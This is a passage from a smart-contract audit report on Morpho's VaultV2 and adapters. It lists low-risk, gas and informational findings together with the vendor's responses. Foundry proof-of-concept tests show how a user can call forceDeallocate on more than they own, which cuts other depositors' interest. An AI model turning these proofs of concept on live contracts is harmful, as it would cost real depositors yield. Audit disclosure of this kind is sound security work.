↳ the MM deposit
assertEq(aliceShares, 1);
assertEq(metaMorpho.balanceOf(address(metaMorphoAdapter)), 0);

// assert that MM has successfully deposit assets (and minted shares) into the MB market
// the assets deposited is indeed 1 wei of the underlying
assertEq(mbBeforeDeposit.totalSupplyAssets + 1, mbAfterDeposit.totalSupplyAssets);
assertGt(mbAfterDeposit.totalSupplyShares, mbBeforeDeposit.totalSupplyShares);
assertGt(mmPosAfterDeposit.supplyShares, mmPosBeforeDeposit.supplyShares);
assertEq(mmAssetsInMbBeforeDeposit + 1, mmAssetsInMbAfterDeposit);

// alice can't withdraw because the MM adapter owns ZERO shares on the MM vault
// IMPORTANT: the `ERC20InsufficientBalance` ERROR is triggered by the MM._update function when
↳ MM._burn is called
// MM remove 1 share from the `metaMorphoAdapter` but its current balance is ZERO
vm.prank(alice);
vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector,
↳ address(metaMorphoAdapter), 0, 1));
vault.redeem(1, alice, alice);
}
}

```

Recommendation: Morpho should document this possible scenario and consider reverting at the Adapter's level when the number of shares minted by the `IERC4626(metaMorpho).deposit` call are equal to zero and the assets deposited to MetaMorpho are greater than zero.

Morpho: Yes this is acknowledged. In particular extreme cases of slippage can happen because of inflation attack, but there are mitigations that are documented after [PR 524](#).

Spearbit: Acknowledged.

5.3.12 `forceDeallocate` allows the caller to deallocate more than it owns

Severity: Low Risk

Context: [VaultV2.sol#L567-L582](#)

Description: The current implementation of `forceDeallocate` imposing any explicit upper limit to what the caller

can deallocate from the specified address[] memory adapters.

The only "passive" check performed, when `forceDeallocatePenalty[adapters[i]] > 0` is that the caller can at most burn up to their shares (or the allowance if `msg.sender != onBehalf`) in fees (donated to the vault). This absent of active checks allows the caller to possibly deallocate much more than it owns and so much more than it would need in order to later on withdraw from the Idle Market. Let's make this example:

- `forceDeallocatePenalty[adapter_1] = 0.01e18` (1% penalty fee).
- Bob has deposited `100_000e18` via `adapter_1`.
- Alice has deposited `1_000e18` via `adapter_1`.

Alice owns `1_000e18` shares of `VaultV2` and given the 1% fees on the force deallocation she can deallocate up to `100_000e18` of assets from the `adapter_1` adapter before reverting. By calling:

```
address[] memory adapters = new address[](1);
bytes[] memory marketData = new bytes[](1);
uint256[] memory amounts = new uint256[](1);

adapters[0] = vault.liquidityAdapter();
marketData[0] = vault.liquidityData();
amounts[0] = 100_000e18;

vm.prank(alice);
vault.forceDeallocate(adapters, marketData, amounts, alice);
```

She will be able to deallocate `100_000e18` assets from the `adapter_1`, more than needed (given that at most she should be able to withdraw `1_000e18` assets) and more than she should (given her balance of `1_000e18` assets deposited). This behavior will lower the interest earned by Bob (and other suppliers) given that the `adapter_1` adapter will earn less interest from the underlying MM vault or MB market.

Proof of Concept:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "./BaseTest.sol";

import {MorphoBlueAdapter} from "../src/adapters/MorphoBlueAdapter.sol";
import {MorphoBlueAdapterFactory} from "../src/adapters/MorphoBlueAdapterFactory.sol";
import {OracleMock} from "../lib/morpho-blue/src/mocks/OracleMock.sol";
import {IrmMock} from "../lib/morpho-blue/src/mocks/IrmMock.sol";
import {IMorpho, MarketParams, Id, Market, Position} from
↳ "../lib/morpho-blue/src/interfaces/IMorpho.sol";
import {MorphoBalancesLib} from "../lib/morpho-blue/src/libraries/periphery/MorphoBalancesLib.sol";
import {MarketParamsLib} from "../lib/morpho-blue/src/libraries/MarketParamsLib.sol";
import {IMorphoBlueAdapter} from "../src/adapters/interfaces/IMorphoBlueAdapter.sol";
import {IMorphoBlueAdapterFactory} from "../src/adapters/interfaces/IMorphoBlueAdapterFactory.sol";

contract SForceDeallocateMoreTest is BaseTest {
    using MorphoBalancesLib for IMorpho;
    using MarketParamsLib for MarketParams;

    // Morpho Blue
    address morphoOwner;
    MarketParams internal marketParams_1;
    Id internal marketId_1;
    IMorpho internal morpho;
    OracleMock internal oracle;
    IrmMock internal irm;
    ERC20Mock internal collateralToken_1;
    ERC20Mock internal loanToken; // this is the V2 underlying
```

```

bytes[] internal expectedIds_1;

MorphoBlueAdapterFactory internal factoryMB;
MorphoBlueAdapter internal adapterMB;

function setUp() public override {
    super.setUp();
}

function testForceDeallocateMoreThanOwned() public {
    // setup Morpho Blue Market
    _setupMB(underlyingToken);

    // setup Vault v2
    _setupVV2(1_000_000e18, 1e18);

    // interest rate: 1%
    vm.prank(allocator);
    vic.setInterestPerSecond((1e18 + 200 * 1e16) / uint256(365 days));

    vm.prank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setForceDeallocatePenalty, (address(adapterMB),
    ↪ 0.01e18))); // 1% fee
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setForceDeallocatePenalty(address(adapterMB), 0.01e18);

    // BOB deposit 10_000 DAI
    // ALICE deposit 1_000 DAI
    // ALICE can de-allocate up to 10_000 DAI because fee will be 1_000 DAI
    // BOB LOSE interest
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    // bob deposit 100_000e18 underlying that get's deposited into the adapter's market
    // and start generating interest
    _deposit(bob, 100_000e18);

    // alice deposit 1_000e18 underlying that get's deposited into the adapter's market
    // and start generating interest
    _deposit(alice, 1_000e18);

    // the liquidity adapter owns 101_000e18 assets deposited into MB
    assertEq(morpho.expectedSupplyAssets(marketParams_1, vault.liquidityAdapter()), 101_000e18);

    // alice now can `forceDeallocate` more than she has deposited up to the amount of penalty
    // she can burn from their own balance or the allowance someone has gave her
    // in this case she can de-allocate up to 100_000e18 and pay 1_000e18 fees
    address[] memory adapters = new address[](1);
    bytes[] memory marketData = new bytes[](1);
    uint256[] memory amounts = new uint256[](1);

    adapters[0] = vault.liquidityAdapter();
    marketData[0] = vault.liquidityData();
    amounts[0] = 100_000e18;

    vm.prank(alice);
    vault.forceDeallocate(adapters, marketData, amounts, alice);

    // alice has burned all her shares
    assertEq(vault.balanceOf(alice), 0);

    // the liquidity adapter now only has deposited 1_000e18 assets now deposited into MB

```

```

    assertEq(morpho.expectedSupplyAssets(marketParams_1, vault.liquidityAdapter()), 1_000e18);
}

function _deposit(address user, uint256 amount) internal {
    deal(address(underlyingToken), user, amount, true);
    vm.prank(user);
    underlyingToken.approve(address(vault), type(uint256).max);

    // supply
    vm.prank(user);
    vault.deposit(amount, user);
}

function _withdraw(address user, uint256 amount) internal {
    vm.prank(user);
    vault.withdraw(amount, user, user);
}

function _setupVV2(uint256 absoluteCap, uint256 relativeCap) internal {
    // setup the MB adapter
    vm.startPrank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setIsAdapter, (address(adapterMB), true)));
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setIsAdapter(address(adapterMB), true);

    // setup the MB adapter as the main adapter
    vm.prank(allocator);
    vault.setLiquidityAdapter(address(adapterMB));
    vm.prank(allocator);
    vault.setLiquidityData(abi.encode(marketParams_1));

    _increaseCaps(expectedIds_1, absoluteCap, relativeCap);
}

function _increaseCaps(bytes[] memory expectedIds, uint256 absoluteCap, uint256 relativeCap)
    ↪ internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (expectedIds[i], absoluteCap)));
        vault.submit(abi.encodeCall(IVaultV2.increaseRelativeCap, (expectedIds[i], relativeCap)));
    }
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);

    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.increaseAbsoluteCap(expectedIds[i], absoluteCap);
        vault.increaseRelativeCap(expectedIds[i], relativeCap);
    }
}

function _decreaseCaps(bytes[] memory expectedIds, uint256 absoluteCap, uint256 relativeCap)
    ↪ internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.decreaseAbsoluteCap(expectedIds[i], absoluteCap);
        vault.decreaseAbsoluteCap(expectedIds[i], relativeCap);
    }
    vm.stopPrank();
}

```



```

function _setupMB(ERC20Mock v2Underlying) internal {
    morphoOwner = makeAddr("MorphoOwner");
    morpho = IMorpho(deployCode("Morpho.sol", abi.encode(morphoOwner)));

    loanToken = v2Underlying;
    collateralToken_1 = new ERC20Mock();
    oracle = new OracleMock();
    irm = new IrmMock();
    marketParams_1 = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(collateralToken_1),
        irm: address(irm),
        oracle: address(oracle),
        lltv: 0.8 ether
    });

    vm.startPrank(morphoOwner);
    morpho.enableIrm(address(irm));
    morpho.enableLltv(0.8 ether);
    vm.stopPrank();

    morpho.createMarket(marketParams_1);
    marketId_1 = marketParams_1.id();

    factoryMB = new MorphoBlueAdapterFactory(address(morpho));
    adapterMB = MorphoBlueAdapter(factoryMB.createMorphoBlueAdapter(address(vault)));

    expectedIds_1 = new bytes[](3);
    expectedIds_1[0] = abi.encode("adapter", address(adapterMB));
    expectedIds_1[1] = abi.encode("collateralToken", marketParams_1.collateralToken);
    expectedIds_1[2] =
        abi.encode(
            "collateralToken/oracle/lltv", marketParams_1.collateralToken, marketParams_1.oracle,
            ↪ marketParams_1.lltv
        );
}
}

```

Recommendation: If the role of `forceDeallocate` is to allow the caller to deallocate from a whitelisted adapter to later on withdraw from the Idle Market, the user should be limited to deallocate up to her balance converted in assets.

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.3.13 `forceDeallocate` should revert when adapters is empty or adapters[i] + data[i] correspond to the liquidity adapter

Severity: Low Risk

Context: [VaultV2.sol#L571](#)

Description: The current implementation of `forceDeallocate` reverts explicitly when the length of the inputs does not match, without performing any additional checks on the arbitrary data passed by the user.

1. When `adapters.length == 0` the `forceDeallocate` will perform a no-op that will just consume gas and emit useless and spammy events.
2. When one of the inputs (combo of `adapters[i] + data[i]`) correspond to the current adapter used by the VaultV2 and `forceDeallocatePenalty[adapters[i]] > 0`, Morpho is allowing the caller to shot in the foot

by paying a penalty fee for an operation that would be "free" if the user had called directly the `withdraw` or `redeem` function.

Recommendation: Morpho should consider reverting the `forceDeallocate` function when `adapters.length == 0` or the `adapters[i] + data[i]` input combo correspond to the current liquidity adapter used by the `VaultV2`.

Morpho: Acknowledged.

1. Is fixed by removing the batch force deallocation.
2. I don't think that we should prevent that. There are a lot of ways users can shoot themselves in the foot already, and we can't avoid them all.

Spearbit: Acknowledged.

5.3.14 `setVic` should ensure that the `newVic` does not revert or report an incompatible interest rate per second

Severity: Low Risk

Context: [VaultV2.sol#L200](#)

Description: The current implementation of `setVic` does not perform any sanity checks on the `newVic` address. We have already suggested some basic compatibility checks in "[Extra check can be added when setting vic](#)" but Morpho could improve them by reverting the execution of the setter if the new VIC does indeed revert or report an "incompatible" interest rate value.

Recommendation: Morpho should consider performing sanity checks on the new VIC address and revert the setter if `newVic.interestPerSecond` reverts or reports a value greater than `uint256(_totalAssets).mulDivDown(MAX_RATE_PER_SECOND, WAD)`.

Morpho: Acknowledged. We don't think that it's the vault's role to provide such partial barriers. There are so many ways things can go wrong with a wrong VIC. One could even argue that adding this kind of checks gives a false sense of security, which must be avoided.

Spearbit: Acknowledged.

5.4 Gas Optimization

5.4.1 The calldata and checks in `forceDeallocate` can be optimised

Severity: Gas Optimization

Context: [VaultV2.sol#L567-L571](#)

Description: Currently the `forceDeallocate` function follow the pattern:

```
function f(A[] memory a, B[] memory b, ..., [EXTRA_ARGS]) ... {
    require(a.length == b.length == ... );
    // ...
}
```

This pattern is not ideal as the call data for `f` would still have room for compression and also one is required to add the length check `require` statement.

Recommendation: Instead it would be best to use the following pattern:

```

struct P {
    A a;
    B b;
    // ...
}

function f(P[] memory p, [EXTRA_ARGS]) ... {
    // require check is not needed anymore
    // ...
}

```

Here is a complete patch that can be applied:

```

diff --git a/src/VaultV2.sol b/src/VaultV2.sol
index 5a83bf3..e8e5dfa 100644
- -- a/src/VaultV2.sol
+ ++ b/src/VaultV2.sol
@@ -10,6 +10,7 @@ import {EventsLib} from "./libraries/EventsLib.sol";
import "./libraries/ConstantsLib.sol";
import {MathLib} from "./libraries/MathLib.sol";
import {SafeERC20Lib} from "./libraries/SafeERC20Lib.sol";
+ import {ForceDeallocateParams} from "./libraries/StructsLib.sol";
import {IExitGate, IEnterGate} from "./interfaces/IGate.sol";

/// @dev Not ERC-4626 compliant due to missing functions and `totalAssets()` is not up to date.
@@ -564,20 +565,19 @@ contract VaultV2 is IVaultV2 {

    /// @dev Returns shares withdrawn as penalty.
    /// @dev This function will automatically realize potential losses.
-    function forceDeallocate(address[] memory adapters, bytes[] memory data, uint256[] memory assets,
-    address onBehalf)
+    function forceDeallocate(ForceDeallocateParams[] memory params, address onBehalf)
+    external
+    returns (uint256)
    {
-        require(adapters.length == data.length && adapters.length == assets.length,
-        ErrorsLib.InvalidInputLength());
+        require(adapters.length == data.length && adapters.length == assets.length,
+        ErrorsLib.InvalidInputLength());
        uint256 penaltyAssets;
-        for (uint256 i; i < adapters.length; i++) {
-            this.deallocate(adapters[i], data[i], assets[i]);
-            penaltyAssets += assets[i].mulDivDown(forceDeallocatePenalty[adapters[i]], WAD);
+        for (uint256 i; i < params.length; i++) {
+            this.deallocate(params[i].adapter, params[i].data, params[i].assets);
+            penaltyAssets += params[i].assets.mulDivDown(forceDeallocatePenalty[params[i].adapter],
+            WAD);
        }

        // The penalty is taken as a withdrawal that is donated to the vault.
        uint256 shares = withdraw(penaltyAssets, address(this), onBehalf);
-        emit EventsLib.ForceDeallocate(msg.sender, adapters, data, assets, onBehalf);
+        emit EventsLib.ForceDeallocate(msg.sender, params, onBehalf);
        return shares;
    }

diff --git a/src/interfaces/IVaultV2.sol b/src/interfaces/IVaultV2.sol
index abe4ba5..2a5ea1c 100644
- -- a/src/interfaces/IVaultV2.sol
+ ++ b/src/interfaces/IVaultV2.sol
@@ -3,6 +3,7 @@ pragma solidity >=0.5.0;

import {IERC20} from "./IERC20.sol";

```

```

import {IPermissionedToken} from "../IPermissionedToken.sol";
+ import {ForceDeallocateParams} from "../libraries/StructsLib.sol";

interface IVaultV2 is IERC20, IPermissionedToken {
    // Multicall
@@ -92,7 +93,7 @@ interface IVaultV2 is IERC20, IPermissionedToken {
    function revoke(bytes memory data) external;

    // Force reallocate to idle
-    function forceDeallocate(address[] memory adapters, bytes[] memory data, uint256[] memory assets,
+ address onBehalf)
+    function forceDeallocate(ForceDeallocateParams[] memory params, address onBehalf)
        external
        returns (uint256 withdrawnShares);

diff --git a/src/libraries/EventsLib.sol b/src/libraries/EventsLib.sol
index a272d5b..82532fb 100644
- -- a/src/libraries/EventsLib.sol
+ ++ b/src/libraries/EventsLib.sol
@@ -1,6 +1,8 @@
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

+ import {ForceDeallocateParams} from "../StructsLib.sol";
+
library EventsLib {
    event Constructor(address indexed owner, address indexed asset);

@@ -77,7 +79,7 @@ library EventsLib {
    );

    event ForceDeallocate(
-        address indexed sender, address[] adapters, bytes[] data, uint256[] assets, address indexed
+ onBehalf
+        address indexed sender, ForceDeallocateParams[] params, address indexed onBehalf
    );

    event CreateVaultV2(address indexed owner, address indexed asset, address indexed vaultV2);
diff --git a/test/ForceDeallocateTest.sol b/test/ForceDeallocateTest.sol
index 31480bb..6e74708 100644
- -- a/test/ForceDeallocateTest.sol
+ ++ b/test/ForceDeallocateTest.sol
@@ -2,6 +2,7 @@
pragma solidity ^0.8.0;

import "../BaseTest.sol";
+ import {ForceDeallocateParams} from "../src/libraries/StructsLib.sol";

contract Adapter is IAdapter {
    constructor(address _underlyingToken, address _vault) {
@@ -27,20 +28,8 @@ contract ForceDeallocateTest is BaseTest {
        underlyingToken.approve(address(vault), type(uint256).max);
    }

-    function _list(address input) internal pure returns (address[] memory) {
-        address[] memory list = new address[](1);
-        list[0] = input;
-        return list;
-    }
-
-    function _list(bytes memory input) internal pure returns (bytes[] memory) {
-        bytes[] memory list = new bytes[](1);

```

```

-         list[0] = input;
-         return list;
-     }
-
-     function _list(uint256 input) internal pure returns (uint256[] memory) {
-         uint256[] memory list = new uint256[](1);
+     function _list(ForceDeallocateParams memory input) internal pure returns (ForceDeallocateParams[]
↪ memory) {
+         ForceDeallocateParams[] memory list = new ForceDeallocateParams[](1);
+         list[0] = input;
+         return list;
+     }
@@ -68,12 +57,15 @@ contract ForceDeallocateTest is BaseTest {

    uint256 penaltyAssets = deallocated.mulDivDown(forceDeallocatePenalty, WAD);
    uint256 expectedShares = shares - vault.previewWithdraw(penaltyAssets);
-    address[] memory adapters = _list(address(adapter));
-    bytes[] memory data = _list(hex "");
-    uint256[] memory assets = _list(deallocated);
+
+    ForceDeallocateParams[] memory forceDeallocateParams = _list(ForceDeallocateParams({
+        adapter: address(adapter),
+        data: hex "",
+        assets: deallocated
+    }));
    vm.expectEmit();
-    emit EventsLib.ForceDeallocate(address(this), adapters, data, assets, address(this));
-    uint256 withdrawnShares = vault.forceDeallocate(adapters, data, assets, address(this));
+    emit EventsLib.ForceDeallocate(address(this), forceDeallocateParams, address(this));
+    uint256 withdrawnShares = vault.forceDeallocate(forceDeallocateParams, address(this));
    assertEq(shares - expectedShares, withdrawnShares);
    assertEq(underlyingToken.balanceOf(adapter), supplied - deallocated);
    assertEq(underlyingToken.balanceOf(address(vault)), deallocated);
@@ -81,14 +73,4 @@ contract ForceDeallocateTest is BaseTest {

    vault.withdraw(min(deallocated, vault.previewRedeem(expectedShares)), address(this),
↪ address(this));
}

-
-     function testForceDeallocateInvalidInputLength(
-         address[] memory adapters,
-         bytes[] memory data,
-         uint256[] memory assets
-     ) public {
-         vm.assume(adapters.length != data.length || adapters.length != assets.length);
-         vm.expectRevert(ErrorsLib.InvalidInputLength.selector);
-         vault.forceDeallocate(adapters, data, assets, address(this));
-     }
- }
diff --git a/test/RealizeLossTest.sol b/test/RealizeLossTest.sol
index f557ad4..70747ac 100644
- -- a/test/RealizeLossTest.sol
+ ++ b/test/RealizeLossTest.sol
@@ -2,6 +2,8 @@
pragma solidity ^0.8.0;

import "../BaseTest.sol";
+ import {ForceDeallocateParams} from "../src/libraries/StructsLib.sol";
+
uint256 constant MAX_TEST_AMOUNT = 1e36;

```

```

@@ -31,9 +33,7 @@ contract RealizeLossTest is BaseTest {
    bytes internal idData;
    bytes32 internal id;
    bytes32[] internal expectedIds;
-   bytes[] internal byteArray;
-   uint256[] internal uint256Array;
-   address[] internal adapterArray;
+   ForceDeallocateParams[] internal forceDeallocateParams;

    function setUp() public override {
        super.setUp();
@@ -53,14 +53,12 @@ contract RealizeLossTest is BaseTest {
        expectedIds[0] = id;
        adapter.setIds(expectedIds);

-       adapterArray = new address[](1);
-       adapterArray[0] = address(adapter);
-
-       byteArray = new bytes[](1);
-       byteArray[0] = hex"";
-
-       uint256Array = new uint256[](1);
-       uint256Array[0] = 0;
+       forceDeallocateParams = new ForceDeallocateParams[](1);
+       forceDeallocateParams[0] = ForceDeallocateParams({
+           adapter: address(adapter),
+           data: hex"",
+           assets: 0
+       });
    }

    function testRealizeLossAllocate(uint256 deposit, uint256 expectedLoss) public {
@@ -114,7 +112,7 @@ contract RealizeLossTest is BaseTest {

        // Realize the loss.
        vm.prank(allocator);
-       vault.forceDeallocate(adapterArray, byteArray, uint256Array, address(this));
+       vault.forceDeallocate(forceDeallocateParams, address(this));
        assertEq(vault.totalAssets(), deposit - expectedLoss, "total assets should have decreased by
        ↪ the loss");

        if (expectedLoss > 0) {

```

Morpho: Fixed in [PR 326](#)

Spearbit: Verified. Optimisation does not apply anymore since the batch force deallocation is removed and only one item gets deallocated.

5.4.2 Deallocation can be optimised by avoiding to self-call the vault from itself

Severity: Gas Optimization

Context: [VaultV2.sol#L352](#), [VaultV2.sol#L522](#), [VaultV2.sol#L550](#), [VaultV2.sol#L574](#)

Description: Currently both exit and forceDeallocate flows call back to the vault to deallocate if necessary and this why deallocate has the check:

```
require( ... || msg.sender == address(this), ErrorsLib.Unauthorized());
```

To allow for this self-call.

Recommendation: By introducing an additional internal function to refactor the other logic besides the caller check in the deallocation flow, one can avoid these unnecessary self-calls:

```
diff --git a/src/VaultV2.sol b/src/VaultV2.sol
index 5a83bf3..040d0b0 100644
- -- a/src/VaultV2.sol
+ ++ b/src/VaultV2.sol
@@ -348,9 +348,11 @@ contract VaultV2 is IVaultV2 {

    /// @dev This function will automatically realize potential losses.
    function deallocate(address adapter, bytes memory data, uint256 assets) external {
-         require(
-             isAllocator[msg.sender] || isSentinel[msg.sender] || msg.sender == address(this),
-             ErrorsLib.Unauthorized()
-         );
+         require(isAllocator[msg.sender] || isSentinel[msg.sender], ErrorsLib.Unauthorized());
+         _deallocate(adapter, data, assets);
+     }
+
+     function _deallocate(address adapter, bytes memory data, uint256 assets) internal {
+         require(isAdapter[adapter], ErrorsLib.NotAdapter());

        (bytes32[] memory ids, uint256 loss) = IAdapter(adapter).deallocate(data, assets);
@@ -547,7 +549,7 @@ contract VaultV2 is IVaultV2 {

        uint256 idleAssets = IERC20(asset).balanceOf(address(this));
        if (assets > idleAssets && liquidityAdapter != address(0)) {
-             this.deallocate(liquidityAdapter, liquidityData, assets - idleAssets);
+             _deallocate(liquidityAdapter, liquidityData, assets - idleAssets);
        }

        if (msg.sender != onBehalf) {
@@ -571,7 +573,7 @@ contract VaultV2 is IVaultV2 {
        require(adapters.length == data.length && adapters.length == assets.length,
            ErrorsLib.InvalidInputLength());
        uint256 penaltyAssets;
        for (uint256 i; i < adapters.length; i++) {
-             this.deallocate(adapters[i], data[i], assets[i]);
+             _deallocate(adapters[i], data[i], assets[i]);
+             penaltyAssets += assets[i].mulDivDown(forceDeallocatePenalty[adapters[i]], WAD);
        }

diff --git a/test/AllocateTest.sol b/test/AllocateTest.sol
index f4db3a7..8880a08 100644
- -- a/test/AllocateTest.sol
+ ++ b/test/AllocateTest.sol
@@ -171,8 +171,6 @@ contract AllocateTest is BaseTest {
    vault.deallocate(mockAdapter, hex"", 0);
    vm.prank(sentinel);
    vault.deallocate(mockAdapter, hex"", 0);
-    vm.prank(address(vault));
-    vault.deallocate(mockAdapter, hex"", 0);

    // Can't deallocate if not adapter.
    vm.prank(allocator);
```

The only other vault self-call is in the enter function:

```
function enter(uint256 assets, uint256 shares, address onBehalf) internal {
    // ...
    if (liquidityAdapter != address(0)) {
        try this.allocate(liquidityAdapter, liquidityData, assets) {} catch {} // <-- self call
    }
    // ...
}
```

One can also try to remove this self-call but would require more logic change and it is cleaner to keep the same.

5.4.3 accrueInterest should avoid updating the state and emit events when interest has been already accrued

Severity: Gas Optimization

Context: [VaultV2.sol#L416-L420](#)

Description: The current implementation of `accrueInterestView` early returns when `block.timestamp == lastUpdate`.

```
uint256 elapsed = block.timestamp - lastUpdate;
if (elapsed == 0) return (_totalAssets, 0, 0);
```

but the `accrueInterest` function (that calls `accrueInterestView`) will anyway update the `_totalAssets` and `lastUpdate` state variables and emit the `EventsLib.AccrueInterest` event.

Recommendation: Morpho should consider making the `accrueInterestView` function return an additional parameter to notify that the interest has been already accrued/accounted for and when such return parameter is equal to true the `accrueInterest` will skip the state update and the event emission.

Morpho: Fixed in [PR 421](#) and [PR 347](#).

Spearbit: The recommendations have been implemented in the [PR 421](#) `accrueInterest` early return when `lastUpdate == block.timestamp`. And the updates are still prevented in [PR 347](#) even though the function does not return early because a new functionality has been added regarding the `firstTotalAssets` transient storage parameter.

5.5 Informational

5.5.1 Typos, Comments, Minor Issues,

Severity: Informational

Context: [IMetaMorphoAdapter.sol#L17](#), [MorphoBlueAdapter.sol#L45-L50](#), [IVaultV2.sol#L100-L101](#), [VaultV2.sol#L28-L33](#), [VaultV2.sol#L133-L135](#), [VaultV2.sol#L140-L149](#), [VaultV2.sol#L157](#), [VaultV2.sol#L158](#), [VaultV2.sol#L163-L167](#), [VaultV2.sol#L204](#), [VaultV2.sol#L213](#), [VaultV2.sol#L221](#), [VaultV2.sol#L230](#), [VaultV2.sol#L278](#), [VaultV2.sol#L287](#), [VaultV2.sol#L296](#), [VaultV2.sol#L306](#)

Description/Recommendation:

Comments:

- [MorphoBlueAdapter.sol#L45-L50](#): Currently with Morpho-Blue one cannot transfer assets/shares to other users. But if transferring was added to a custom `IMorpho` implementation, it would be problematic here, since skimming in `MorphoBlueAdapter` does not check what tokens are being transferred.
- [MorphoBlueAdapter.sol#L45-L50](#), [MetaMorphoAdapter.sol#L43-L49](#): `MetaMorpho` also has the skimming feature, but anyone is allowed to skim to the `skimRecipient`. Whereas in the current adapter implementations, only the `skimRecipient` can skim to itself (I think it is great to have this safeguard).

- [VaultV2.sol#L221](#): Consider rephrasing the abdicateSubmit natspec documentation to "Existing timelocked operation submitted before abdicating the selector can still be executed. The abdication of a selector prevent only future calls to submit."
- [MetaMorphoAdapter.sol#L62-L63](#): Let's assume B_A is `IERC4626(metaMorpho).previewRedeem(IERC4626(metaMorpho).deposit(...))`. The case that if B_A before calling `IERC4626(metaMorpho).deposit(...)` is more than B_A after (aka instant loss) should be documented. Perhaps mentioning that those types of IERC4626 vaults would not be compatible.

Minor Recommendations/Issues:

- [VaultV2.sol#L204](#): Consider renaming the account parameter to `newAdapter` and `newIsAdapter` to `enabled` or `whitelisted`.
- [IVaultV2.sol#L100-L101](#): `canSend` and `canReceive` are already declared in `IPermissionedToken` which is inherited by `IVaultV2` and thus can be removed from `IVaultV2` declaration.
- [VaultV2.sol#L133-L135](#): `DOMAIN_SEPARATOR` can be cached and only computed when its field parameters such as `block.chainid` and `address(this)` change. Moreover, it might be best to also incorporate the name and version fields.
- [VaultV2.sol#L140-L149](#): It might be useful for the caller of the `multicall` to also received the return data.
- [VaultV2.sol#L157](#): It might be best to also emit `EventsLib.increaseTimelock` upon deployment.
- [VaultV2.sol#L163-L167](#): Use a 2-step process with a pending owner to change the owner.
- [VaultV2.sol#L158](#): Might make sense to decompose the `EventsLib.Constructor` so that `EventsLib.SetOwner` is emitted for the `_owner` and the rest can be emitted by the `EventsLib.Constructor`.
- [VaultV2.sol#L164](#), [VaultV2.sol#L170](#), [VaultV2.sol#L176](#): Define a `onlyOwner` modifier or internal functions to refactor these checks.
- [VaultV2.sol#L213](#), [VaultV2.sol#L230](#), [VaultV2.sol#L278](#), [VaultV2.sol#L287](#), [VaultV2.sol#L296](#), [VaultV2.sol#L306](#): The inequality checks in `{increase, decrease}X` functions can be strict (`>`, `<`).
- [VaultV2.sol#L238](#), [VaultV2.sol#L249](#), [VaultV2.sol#L259](#), [VaultV2.sol#L268](#): Define an internal check function to refactor this logic:

```
function _checkFeeInvariant(address feeRecipient, uint256 fee) internal view {
    require(feeRecipient != address(0) || fee == 0, ErrorsLib.FeeInvariantBroken());
}
```

- [VaultV2.sol#L211](#), [VaultV2.sol#L286](#), [VaultV2.sol#L305](#), [VaultV2.sol#L323](#), [VaultV2.sol#L352](#), [VaultV2.sol#L372](#), [VaultV2.sol#L382](#), [VaultV2.sol#L390](#), [VaultV2.sol#L406](#): Define `onlyRoleX` modifiers.
- [VaultV2.sol#L644](#), [VaultV2.sol#L651](#), [VaultV2.sol#L513](#), [VaultV2.sol#L544](#), [MetaMorphoAdapter.sol#L86](#), [MorphoBlueAdapter.sol#L87](#): Use an underscore prefix for internal functions `_internalFunc`. For the case of adapter `ids(...)` might be also useful to make them `public`.
- [VaultV2.sol#L622](#), [VaultV2.sol#L628](#): `approve` and `permit` do not check perform the gate checks for the owner and spender. Although the checks for the owner are performed later during transfers of shares. But the spender is never gate-checked ([VaultV2.sol#L553-L556](#), [VaultV2.sol#L607-L613](#)).
- [MetaMorphoAdapter.sol#L88](#), [MorphoBlueAdapter.sol#L89](#): `ids_[0]` can be cached as an immutable parameter.
- [MorphoBlueAdapter.sol#L89-L95](#), [MetaMorphoAdapter.sol#L88](#): One could use [EIP-712](#) to derive these id hashes instead. For each `id` one would need to define a typed structure.
- [MetaMorphoAdapter.sol#L60](#), [MetaMorphoAdapter.sol#L63](#), [MetaMorphoAdapter.sol#L77](#), [MetaMorphoAdapter.sol#L80](#): This logic is used multiple times, it would be best to refactor it as an internal utility function:

```
function _getAssetsInMetaMorpho() internal view returns (uint256) {
    return IERC4626(metaMorpho).previewRedeem(IERC4626(metaMorpho).balanceOf(address(this)));
}
```

The same suggestion applies to MorphoBlueAdapter regarding the `IMorpho(morpho).expectedSupplyAssets(marketParams, address(this))` snippet.

```
function _getAssetsInMorphoBlueMarket(MarketParams memory marketParams) internal view returns
↳ (uint256) {
    return IMorpho(morpho).expectedSupplyAssets(marketParams, address(this));
}
```

- [MetaMorphoAdapter.sol#L62](#), [MetaMorphoAdapter.sol#L79](#), [MorphoBlueAdapter.sol#L63](#), [MorphoBlueAdapter.sol#L80](#): Inconsistency between the checks to whether deposit or withdraw. MorphoBlueAdapter checks `assets > 0` before depositing to/withdrawing from a Morpho Blue market. But these checks are missing from MetaMorphoAdapter.
- [IMetaMorphoAdapter.sol#L11](#): `CannotRealizeAsMuch` error is unused and can be removed.
- [IVaultV2.sol#L100-L103](#): `canSend`, `canReceive`, `canSendUnderlyingAssets` and `canReceiveUnderlyingAssets` must be defined as view functions.
- [IAdapter.sol#L4](#): Add more NatSpec for this interface and also include [VaultV2.sol#L28-L33](#): Also define `loss` (returned from `allocate` and `deallocate`) and express that it should be total loss on assets supplied to given adapter.
- [EventsLib.sol#L79-L81](#): Also emit `penaltyAssets` in `ForceDeallocate`. so that it could be used by potentially off-chain calculation of fixed interest rate through `Ivic`.

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.5.2 Some features from IMetaMorphoAdapter and IMorphoBlueAdapter can be refactored into IAdapter

Severity: Informational

Context: [IMetaMorphoAdapter.sol#L6-L26](#), [IMorphoBlueAdapter.sol#L6-L23](#), [IAdapter.sol#L4-L7](#)

